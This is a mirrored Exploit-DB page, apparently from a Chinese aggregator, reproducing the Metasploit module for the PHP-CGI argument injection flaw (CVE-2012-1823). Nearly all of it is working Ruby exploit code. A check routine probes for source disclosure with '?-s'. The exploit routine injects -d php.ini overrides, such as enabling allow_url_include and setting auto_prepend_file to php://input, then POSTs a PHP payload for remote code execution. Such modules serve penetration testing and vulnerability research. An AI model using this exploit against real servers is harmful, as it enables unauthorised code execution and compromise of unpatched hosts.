PHP 5.3.12/5.4.2 – CGI Argument Injection (Metasploit)

• Exploit Database
• 36 阅读

• 作者： Metasploit
  日期： 2012-05-04
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18834/

• ##
  # $Id$
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'PHP CGI Argument Injection',
  			'Description'=> %q{
  				When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
  				an argument injection vulnerability.This module takes advantage of
  				the -d flag to set php.ini directives to achieve code execution.
  				From the advisory: "if there is NO unescaped '=' in the query string,
  				the string is split on '+' (encoded space) characters, urldecoded,
  				passed to a function that escapes shell metacharacters (the "encoded in
  				a system-defined manner" from the RFC) and then passes them to the CGI
  				binary."
  			},
  			'Author' => [ 'egypt', 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision$',
  			'References' => [
  					[ "CVE"	, "2012-1823" ],
  					[ "URL"	, "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					# Arbitrary big number. The payload gets sent as an HTTP
  					# response body, so really it's unlimited
  					'Space' => 262144, # 256k
  				},
  			'DisclosureDate' => 'May 03 2012',
  			'Platform' => 'php',
  			'Arch' => ARCH_PHP,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DefaultTarget' => 0))
  
  		register_options([
  			OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
  			], self.class)
  	end
  
  	# php-cgi -h
  	# ...
  	# -s Display colour syntax highlighted source.
  	def check
  		uri = target_uri.path
  
  		uri.gsub!(/\?.*/, "")
  
  		print_status("Checking uri #{uri}")
  
  		response = send_request_raw({ 'uri' => uri })
  
  		if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
  			print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
  			return Exploit::CheckCode::Unknown
  		end
  
  		response = send_request_raw({ 'uri' => uri + '?-s'})
  		if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		print_error("Server responded indicating it was not vulnerable")
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		begin
  			args = [
  				"-d+allow_url_include%3d#{rand_php_ini_true}",
  				"-d+safe_mode%3d#{rand_php_ini_false}",
  				"-d+suhosin.simulation%3d#{rand_php_ini_true}",
  				"-d+disable_functions%3d%22%22",
  				"-d+open_basedir%3dnone",
  				"-d+auto_prepend_file%3dphp://input",
  				"-n"
  			]
  
  			qs = args.join("+")
  			uri = "#{target_uri}?#{qs}"
  
  			# Has to be all on one line, so gsub out the comments and the newlines
  			payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
  			response = send_request_cgi( {
  				'method' => "POST",
  				'global' => true,
  				'uri'=> uri,
  				'data' => payload_oneline,
  			}, 0.5)
  			handler
  
  		rescue ::Interrupt
  			raise $!
  		rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
  			print_error("The target service unreachable")
  		rescue ::OpenSSL::SSL::SSLError
  			print_error("The target failed to negotiate SSL, is this really an SSL service?")
  		end
  
  	end
  
  	def rand_php_ini_false
  		Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
  	end
  
  	def rand_php_ini_true
  		Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
  	end
  
  end